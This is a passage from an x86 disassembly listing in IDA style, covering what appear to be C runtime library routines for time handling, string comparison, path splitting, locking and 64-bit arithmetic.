[ebp+var_8], eax jz short loc_4241AC push 1 push 0 push ebx push eax push 0FFFFFFFFh push [ebp+arg_0] push esi push dword_6314C8 call sub_429BA7 add esp, 20h test eax, eax jz short loc_4241AC push [ebp+var_8] push [ebp+arg_0] call sub_423260 pop ecx pop ecx loc_4241AC: ; CODE XREF: sub_4240A0+D1j ; sub_4240A0+DFj ... cmp [ebp+var_4], 0 pop ebx jz short loc_4241BD push 13h call sub_428497 pop ecx jmp short loc_4241C4 ; --------------------------------------------------------------------------- loc_4241BD: ; CODE XREF: sub_4240A0+111j push edi call dword_42F1FC ; InterlockedDecrement loc_4241C4: ; CODE XREF: sub_4240A0+11Bj push [ebp+var_8] call sub_4230B3 mov eax, [ebp+arg_0] pop ecx loc_4241D0: ; CODE XREF: sub_4240A0+1Cj ; sub_4240A0+39j ... pop edi pop esi leave retn sub_4240A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4241D4 proc near ; CODE XREF: sub_41112E+35p ; sub_41112E+122p ... var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call dword_42F20C ; GetLocalTime lea eax, [ebp+var_20] push eax call dword_42F208 ; GetSystemTime mov ax, [ebp+var_16] cmp ax, word_6313E2 jnz short loc_424239 mov ax, [ebp+var_18] cmp ax, word_6313E0 jnz short loc_424239 mov ax, [ebp+var_1A] cmp ax, word_6313DE jnz short loc_424239 mov ax, [ebp+var_1E] cmp ax, word_6313DA jnz short loc_424239 mov ax, [ebp+var_20] cmp ax, word_6313D8 jnz short loc_424239 mov eax, dword_6313D0 jmp short loc_42427E ; --------------------------------------------------------------------------- loc_424239: ; CODE XREF: sub_4241D4+28j ; sub_4241D4+35j ... lea eax, [ebp+var_CC] push eax call dword_42F204 ; GetTimeZoneInformation cmp eax, 0FFFFFFFFh jz short loc_424266 cmp eax, 2 jnz short loc_424262 cmp [ebp+var_32], 0 jz short loc_424262 cmp [ebp+var_24], 0 jz short loc_424262 push 1 pop eax jmp short loc_424269 ; --------------------------------------------------------------------------- loc_424262: ; CODE XREF: sub_4241D4+7Aj ; sub_4241D4+81j ... xor eax, eax jmp short loc_424269 ; --------------------------------------------------------------------------- loc_424266: ; CODE XREF: sub_4241D4+75j or eax, 0FFFFFFFFh loc_424269: ; CODE XREF: sub_4241D4+8Cj ; sub_4241D4+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_6313D8 movsd movsd movsd movsd pop edi mov dword_6313D0, eax pop esi loc_42427E: ; CODE XREF: sub_4241D4+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_429DCB mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_4242AE mov [ecx], eax locret_4242AE: ; CODE XREF: sub_4241D4+D6j leave retn sub_4241D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4242B0(double) sub_4242B0 proc near ; CODE XREF: sub_4128D4+3C6p ; sub_41391C+58Bp var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_449420 call sub_42A6B8 fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_424336 call sub_42A580 pop ecx test eax, eax pop ecx jle short loc_424319 cmp eax, 2 jle short loc_42430B cmp eax, 3 jnz short loc_424319 fld [ebp+arg_0] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] push 0Ch ; int call sub_429E8D add esp, 10h jmp short loc_42437B ; --------------------------------------------------------------------------- loc_42430B: ; CODE XREF: sub_4242B0+3Fj push esi push ebx call sub_42A6B8 fld [ebp+arg_0] pop ecx pop ecx jmp short loc_42437B ; --------------------------------------------------------------------------- loc_424319: ; CODE XREF: sub_4242B0+3Aj ; sub_4242B0+44j fld [ebp+arg_0] fadd dbl_42F450 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_424373 ; --------------------------------------------------------------------------- loc_424336: ; CODE XREF: sub_4242B0+2Fj call sub_42A545 fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_424359 loc_42434B: ; CODE XREF: sub_4242B0+ACj push esi push ebx call sub_42A6B8 fld [ebp+var_8] pop ecx pop ecx jmp short loc_42437B ; --------------------------------------------------------------------------- loc_424359: ; CODE XREF: sub_4242B0+99j test bl, 20h jnz short loc_42434B fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_424373: ; CODE XREF: sub_4242B0+84j call sub_429EE1 add esp, 1Ch loc_42437B: ; CODE XREF: sub_4242B0+59j ; sub_4242B0+67j ... pop esi pop ebx leave retn sub_4242B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_40D695+7p ; sub_4128D4+19p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_6314C0 cmp dword ptr [eax+8], 0 jnz short loc_4243D3 mov al, 0FFh mov edi, edi loc_42439C: ; CODE XREF: sub_424380+28j ; sub_424380+48j or al, al jz short loc_4243CE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_42439C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_42439C sbb al, al sbb al, 0FFh loc_4243CE: ; CODE XREF: sub_424380+1Ej movsx eax, al jmp short loc_42444B ; --------------------------------------------------------------------------- loc_4243D3: ; CODE XREF: sub_424380+16j lock inc dword_63198C cmp dword_631988, 0 jg short loc_4243E7 push 0 jmp short loc_4243FC ; --------------------------------------------------------------------------- loc_4243E7: ; CODE XREF: sub_424380+61j lock dec dword_63198C push 13h call sub_428436 mov [esp+10h+var_10], 1 loc_4243FC: ; CODE XREF: sub_424380+65j mov eax, 0FFh xor ebx, ebx nop loc_424404: ; CODE XREF: sub_424380+90j ; sub_424380+A8j or al, al jz short loc_42442F mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_424404 push eax push ebx call sub_42A7A0 mov ebx, eax add esp, 4 call sub_42A7A0 add esp, 4 cmp bl, al jz short loc_424404 sbb eax, eax sbb eax, 0FFFFFFFFh loc_42442F: ; CODE XREF: sub_424380+86j mov ebx, eax pop eax or eax, eax jnz short loc_42443F lock dec dword_63198C jmp short loc_424449 ; --------------------------------------------------------------------------- loc_42443F: ; CODE XREF: sub_424380+B4j push 13h call sub_428497 add esp, 4 loc_424449: ; CODE XREF: sub_424380+BDj mov eax, ebx loc_42444B: ; CODE XREF: sub_424380+51j pop ebx pop esi pop edi leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_424450 proc near ; CODE XREF: sub_4130E5+30Cp ; sub_423517+29p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] call dword_42F0A0 ; GetFileAttributesA cmp eax, 0FFFFFFFFh jnz short loc_424470 call dword_42F068 ; RtlGetLastWin32Error push eax call sub_4264B5 pop ecx loc_42446C: ; CODE XREF: sub_424450+41j or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_424470: ; CODE XREF: sub_424450+Dj test al, 1 jz short loc_424493 test [esp+arg_4], 2 jz short loc_424493 call sub_426528 mov dword ptr [eax], 0Dh call sub_426531 mov dword ptr [eax], 5 jmp short loc_42446C ; --------------------------------------------------------------------------- loc_424493: ; CODE XREF: sub_424450+22j ; sub_424450+29j xor eax, eax retn sub_424450 endp ; =============== S U B R O U T I N E ======================================= sub_424496 proc near ; CODE XREF: sub_414926+14p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, offset dword_449450 push edi push esi push 1 call sub_42486B push esi call sub_42A86B mov edi, eax lea eax, [esp+18h+arg_4] push eax push [esp+1Ch+arg_0] push esi call sub_42512C push esi push edi mov ebx, eax call sub_42A8F8 push esi push 1 call sub_4248BD add esp, 28h mov eax, ebx pop edi pop esi pop ebx retn sub_424496 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4244E0 proc near ; CODE XREF: sub_415126+65p ; sub_415126+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_424501 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_424501: ; CODE XREF: sub_4244E0+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_42451D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_42451D: ; CODE XREF: sub_4244E0+27j or eax, eax jnz short loc_424539 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_42457A ; --------------------------------------------------------------------------- loc_424539: ; CODE XREF: sub_4244E0+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_424547: ; CODE XREF: sub_4244E0+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_424547 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_424575 cmp edx, [esp+0Ch+arg_4] ja short loc_424575 jb short loc_424576 cmp eax, [esp+0Ch+arg_0] jbe short loc_424576 loc_424575: ; CODE XREF: sub_4244E0+85j ; sub_4244E0+8Bj dec esi loc_424576: ; CODE XREF: sub_4244E0+8Dj ; sub_4244E0+93j xor edx, edx mov eax, esi loc_42457A: ; CODE XREF: sub_4244E0+57j dec edi jnz short loc_424584 neg edx neg eax sbb edx, 0 loc_424584: ; CODE XREF: sub_4244E0+9Bj pop ebx pop esi pop edi retn 10h sub_4244E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42458A proc near ; CODE XREF: sub_416C0B+130p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_42459E xor eax, eax jmp short loc_4245E8 ; --------------------------------------------------------------------------- loc_42459E: ; CODE XREF: sub_42458A+Ej push esi mov esi, [ebp+arg_8] push esi call sub_42483C pop ecx loc_4245A9: ; CODE XREF: sub_42458A+46j dec [ebp+arg_4] jz short loc_4245DB dec dword ptr [esi+4] js short loc_4245BD mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_4245C4 ; --------------------------------------------------------------------------- loc_4245BD: ; CODE XREF: sub_42458A+27j push esi call sub_426826 pop ecx loc_4245C4: ; CODE XREF: sub_42458A+31j cmp eax, 0FFFFFFFFh jz short loc_4245D2 mov [edi], al inc edi cmp al, 0Ah jz short loc_4245DB jmp short loc_4245A9 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_42458A+3Dj cmp edi, [ebp+arg_0] jnz short loc_4245DB xor ebx, ebx jmp short loc_4245DE ; --------------------------------------------------------------------------- loc_4245DB: ; CODE XREF: sub_42458A+22j ; sub_42458A+44j ... and byte ptr [edi], 0 loc_4245DE: ; CODE XREF: sub_42458A+4Fj push esi call sub_42488E pop ecx mov eax, ebx pop esi loc_4245E8: ; CODE XREF: sub_42458A+12j pop edi pop ebx pop ebp retn sub_42458A endp ; =============== S U B R O U T I N E ======================================= sub_4245EC proc near ; CODE XREF: sub_4245F8j push offset off_449430 call sub_42A953 pop ecx retn sub_4245EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4245F8 proc near ; CODE XREF: sub_417A90+231p jmp sub_4245EC sub_4245F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245FD proc near ; CODE XREF: sub_418010+327p ; sub_418436+14Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_422120 cmp eax, 1 pop ecx jb short loc_424638 cmp byte ptr [ebx+1], 3Ah jnz short loc_424638 mov esi, [ebp+arg_4] test esi, esi jz short loc_424634 push 2 push ebx push esi call sub_42AD52 add esp, 0Ch and byte ptr [esi+2], 0 loc_424634: ; CODE XREF: sub_4245FD+25j inc ebx inc ebx jmp short loc_424642 ; --------------------------------------------------------------------------- loc_424638: ; CODE XREF: sub_4245FD+18j ; sub_4245FD+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_424642 and byte ptr [eax], 0 loc_424642: ; CODE XREF: sub_4245FD+39j ; sub_4245FD+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_4246BA loc_424655: ; CODE XREF: sub_4245FD+87j mov cl, [eax] movzx edx, cl test byte_631881[edx], 4 jz short loc_424666 inc eax jmp short loc_424680 ; --------------------------------------------------------------------------- loc_424666: ; CODE XREF: sub_4245FD+64j cmp cl, 2Fh jz short loc_42467A cmp cl, 5Ch jz short loc_42467A cmp cl, 2Eh jnz short loc_424680 mov [ebp+var_4], eax jmp short loc_424680 ; --------------------------------------------------------------------------- loc_42467A: ; CODE XREF: sub_4245FD+6Cj ; sub_4245FD+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_424680: ; CODE XREF: sub_4245FD+67j ; sub_4245FD+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_424655 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_4246BA cmp [ebp+arg_8], 0 jz short loc_4246B5 sub edi, ebx cmp edi, esi jb short loc_42469E mov edi, esi loc_42469E: ; CODE XREF: sub_4245FD+9Dj push edi push ebx push [ebp+arg_8] call sub_42AD52 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4246B5: ; CODE XREF: sub_4245FD+97j mov ebx, [ebp+arg_4] jmp short loc_4246C4 ; --------------------------------------------------------------------------- loc_4246BA: ; CODE XREF: sub_4245FD+56j ; sub_4245FD+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_4246C4 and byte ptr [ecx], 0 loc_4246C4: ; CODE XREF: sub_4245FD+BBj ; sub_4245FD+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_424717 cmp edi, ebx jb short loc_424717 cmp [ebp+arg_C], 0 jz short loc_4246F4 sub edi, ebx cmp edi, esi jb short loc_4246DD mov edi, esi loc_4246DD: ; CODE XREF: sub_4245FD+DCj push edi push ebx push [ebp+arg_C] call sub_42AD52 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_4246F4: ; CODE XREF: sub_4245FD+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_42473F sub eax, [ebp+var_4] cmp eax, esi jnb short loc_424704 mov esi, eax loc_424704: ; CODE XREF: sub_4245FD+103j push esi push [ebp+var_4] push edi call sub_42AD52 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_42473F ; --------------------------------------------------------------------------- loc_424717: ; CODE XREF: sub_4245FD+CCj ; sub_4245FD+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_424735 sub eax, ebx cmp eax, esi jnb short loc_424726 mov esi, eax loc_424726: ; CODE XREF: sub_4245FD+125j push esi push ebx push edi call sub_42AD52 add esp, 0Ch and byte ptr [esi+edi], 0 loc_424735: ; CODE XREF: sub_4245FD+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_42473F and byte ptr [eax], 0 loc_42473F: ; CODE XREF: sub_4245FD+FCj ; sub_4245FD+118j ... pop edi pop esi pop ebx leave retn sub_4245FD endp ; =============== S U B R O U T I N E ======================================= sub_424744 proc near ; CODE XREF: sub_418436+17Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push ebx push esi mov esi, [esp+8+arg_0] push edi push esi call sub_42483C push esi call sub_42A86B mov edi, eax lea eax, [esp+14h+arg_8] push eax push [esp+18h+arg_4] push esi call sub_42512C push esi push edi mov ebx, eax call sub_42A8F8 push esi call sub_42488E add esp, 20h mov eax, ebx pop edi pop esi pop ebx retn sub_424744 endp ; =============== S U B R O U T I N E ======================================= sub_424780 proc near ; DATA XREF: .text:00432024o mov eax, dword_632B00 push esi push 14h test eax, eax pop esi jnz short loc_424794 mov eax, 200h jmp short loc_42479A ; --------------------------------------------------------------------------- loc_424794: ; CODE XREF: sub_424780+Bj cmp eax, esi jge short loc_42479F mov eax, esi loc_42479A: ; CODE XREF: sub_424780+12j mov dword_632B00, eax loc_42479F: ; CODE XREF: sub_424780+16j push 4 push eax call sub_423F63 pop ecx mov dword_631AE8, eax test eax, eax pop ecx jnz short loc_4247D3 push 4 push esi mov dword_632B00, esi call sub_423F63 pop ecx mov dword_631AE8, eax test eax, eax pop ecx jnz short loc_4247D3 push 1Ah call sub_424FCB pop ecx loc_4247D3: ; CODE XREF: sub_424780+30j ; sub_424780+49j xor ecx, ecx mov eax, offset off_449430 loc_4247DA: ; CODE XREF: sub_424780+6Ej mov edx, dword_631AE8 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset off_4496B0 jl short loc_4247DA xor ecx, ecx mov edx, offset dword_449440 loc_4247F7: ; CODE XREF: sub_424780+A4j mov esi, ecx mov eax, ecx sar esi, 5 and eax, 1Fh mov esi, dword_6319E0[esi*4] lea eax, [eax+eax*8] mov eax, [esi+eax*4] cmp eax, 0FFFFFFFFh jz short loc_424817 test eax, eax jnz short loc_42481A loc_424817: ; CODE XREF: sub_424780+91j or dword ptr [edx], 0FFFFFFFFh loc_42481A: ; CODE XREF: sub_424780+95j add edx, 20h inc ecx cmp edx, offset dword_4494A0 jl short loc_4247F7 pop esi retn sub_424780 endp ; =============== S U B R O U T I N E ======================================= sub_424828 proc near ; DATA XREF: .text:00432038o call sub_426779 cmp byte_6314A0, 0 jz short locret_42483B jmp sub_42ADEC ; --------------------------------------------------------------------------- locret_42483B: ; CODE XREF: sub_424828+Cj retn sub_424828 endp ; =============== S U B R O U T I N E ======================================= sub_42483C proc near ; CODE XREF: sub_422B65+16p ; sub_422BE2+7p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_449430 cmp eax, ecx jb short loc_424860 cmp eax, offset dword_449690 ja short loc_424860 sub eax, ecx sar eax, 5 add eax, 1Ch push eax call sub_428436 pop ecx retn ; --------------------------------------------------------------------------- loc_424860: ; CODE XREF: sub_42483C+Bj ; sub_42483C+12j add eax, 20h push eax call dword_42F140 ; RtlEnterCriticalSection retn sub_42483C endp ; =============== S U B R O U T I N E ======================================= sub_42486B proc near ; CODE XREF: sub_424496+Bp ; sub_426782+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_42487F add eax, 1Ch push eax call sub_428436 pop ecx retn ; --------------------------------------------------------------------------- loc_42487F: ; CODE XREF: sub_42486B+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_42F140 ; RtlEnterCriticalSection retn sub_42486B endp ; =============== S U B R O U T I N E ======================================= sub_42488E proc near ; CODE XREF: sub_422B65+24p ; sub_422BE2+22p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, offset off_449430 cmp eax, ecx jb short loc_4248B2 cmp eax, offset dword_449690 ja short loc_4248B2 sub eax, ecx sar eax, 5 add eax, 1Ch push eax call sub_428497 pop ecx retn ; --------------------------------------------------------------------------- loc_4248B2: ; CODE XREF: sub_42488E+Bj ; sub_42488E+12j add eax, 20h push eax call dword_42F144 ; RtlLeaveCriticalSection retn sub_42488E endp ; =============== S U B R O U T I N E ======================================= sub_4248BD proc near ; CODE XREF: sub_424496+33p ; sub_426782+7Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] cmp eax, 14h jge short loc_4248D1 add eax, 1Ch push eax call sub_428497 pop ecx retn ; --------------------------------------------------------------------------- loc_4248D1: ; CODE XREF: sub_4248BD+7j mov eax, [esp+arg_4] add eax, 20h push eax call dword_42F144 ; RtlLeaveCriticalSection retn sub_4248BD endp ; =============== S U B R O U T I N E ======================================= sub_4248E0 proc near ; CODE XREF: sub_418614+15Dp ; sub_4228B3+12Bp arg_0 = dword ptr 4 push ebx xor ebx, ebx cmp dword_6314C8, ebx jnz short loc_4248FE mov eax, [esp+4+arg_0] cmp eax, 61h jl short loc_42494D cmp eax, 7Ah jg short loc_42494D sub eax, 20h pop ebx retn ; --------------------------------------------------------------------------- loc_4248FE: ; CODE XREF: sub_4248E0+9j push esi mov esi, offset dword_63198C push edi push esi call dword_42F200 ; InterlockedIncrement cmp dword_631988, ebx mov edi, dword_42F1FC jz short loc_424928 push esi call edi ; dword_42F1FC push 13h call sub_428436 pop ecx push 1 pop ebx loc_424928: ; CODE XREF: sub_4248E0+38j push [esp+0Ch+arg_0] call sub_42494F test ebx, ebx pop ecx mov [esp+0Ch+arg_0], eax jz short loc_424944 push 13h call sub_428497 pop ecx jmp short loc_424947 ; --------------------------------------------------------------------------- loc_424944: ; CODE XREF: sub_4248E0+58j push esi call edi ; dword_42F1FC loc_424947: ; CODE XREF: sub_4248E0+62j mov eax, [esp+0Ch+arg_0] pop edi pop esi loc_42494D: ; CODE XREF: sub_4248E0+12j ; sub_4248E0+17j pop ebx retn sub_4248E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42494F proc near ; CODE XREF: sub_4248E0+4Cp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_6314C8, 0 push ebx jnz short loc_42497A mov eax, [ebp+arg_0] cmp eax, 61h jl loc_424A18 cmp eax, 7Ah jg loc_424A18 sub eax, 20h jmp loc_424A18 ; --------------------------------------------------------------------------- loc_42497A: ; CODE XREF: sub_42494F+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_4249AD cmp dword_449A44, 1 jle short loc_42499A push 2 push ebx call sub_42653A pop ecx pop ecx jmp short loc_4249A5 ; --------------------------------------------------------------------------- loc_42499A: ; CODE XREF: sub_42494F+3Dj mov eax, off_449838 mov al, [eax+ebx*2] and eax, 2 loc_4249A5: ; CODE XREF: sub_42494F+49j test eax, eax jnz short loc_4249AD loc_4249A9: ; CODE XREF: sub_42494F+AFj mov eax, ebx jmp short loc_424A18 ; --------------------------------------------------------------------------- loc_4249AD: ; CODE XREF: sub_42494F+34j ; sub_42494F+58j mov edx, off_449838 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_4249D0 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_4249D9 ; --------------------------------------------------------------------------- loc_4249D0: ; CODE XREF: sub_42494F+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_4249D9: ; CODE XREF: sub_42494F+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_6314C8 call sub_429BA7 add esp, 20h test eax, eax jz short loc_4249A9 cmp eax, 1 jnz short loc_424A0B movzx eax, [ebp+var_4] jmp short loc_424A18 ; --------------------------------------------------------------------------- loc_424A0B: ; CODE XREF: sub_42494F+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_424A18: ; CODE XREF: sub_42494F+14j ; sub_42494F+1Dj ... pop ebx leave retn sub_42494F endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_424A20 proc near ; CODE XREF: sub_418AA2+3Dp ; sub_41F537+2Dp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_424A41 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_424A91 ; --------------------------------------------------------------------------- loc_424A41: ; CODE XREF: sub_424A20+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_424A4F: ; CODE XREF: sub_424A20+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_424A4F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_424A7A cmp edx, [esp+4+arg_4] ja short loc_424A7A jb short loc_424A82 cmp eax, [esp+4+arg_0] jbe short loc_424A82 loc_424A7A: ; CODE XREF: sub_424A20+4Aj ; sub_424A20+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_424A82: ; CODE XREF: sub_424A20+52j ; sub_424A20+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_424A91: ; CODE XREF: sub_424A20+1Fj pop ebx retn 10h sub_424A20 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_424AA0 proc near ; CODE XREF: sub_418AA2+24p ; sub_41F537+3Fp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_424AC2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_424B03 ; --------------------------------------------------------------------------- loc_424AC2: ; CODE XREF: sub_424AA0+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_424AD0: ; CODE XREF: sub_424AA0+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_424AD0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_424AFE cmp edx, [esp+8+arg_4] ja short loc_424AFE jb short loc_424AFF cmp eax, [esp+8+arg_0] jbe short loc_424AFF loc_424AFE: ; CODE XREF: sub_424AA0+4Ej ; sub_424AA0+54j dec esi loc_424AFF: ; CODE XREF: sub_424AA0+56j ; sub_424AA0+5Cj xor edx, edx mov eax, esi loc_424B03: ; CODE XREF: sub_424AA0+20j pop esi pop ebx retn 10h sub_424AA0 endp ; =============== S U B R O U T I N E ======================================= sub_424B08 proc near ; CODE XREF: sub_41AD33+10Bp ; sub_421589+2CCp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_424B1F loc_424B15: ; CODE XREF: sub_424B08+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_424B15 loc_424B1F: ; CODE XREF: sub_424B08+Bj sub eax, ecx sar eax, 1 dec eax retn sub_424B08 endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424B30 proc near ; DATA XREF: .text:0041F930o ; sub_41F9B7+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_424BD0 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_424B63: ; CODE XREF: sub_424B30+90j cmp esi, 0FFFFFFFFh jz short loc_424BC9 lea ecx, [esi+esi*2] 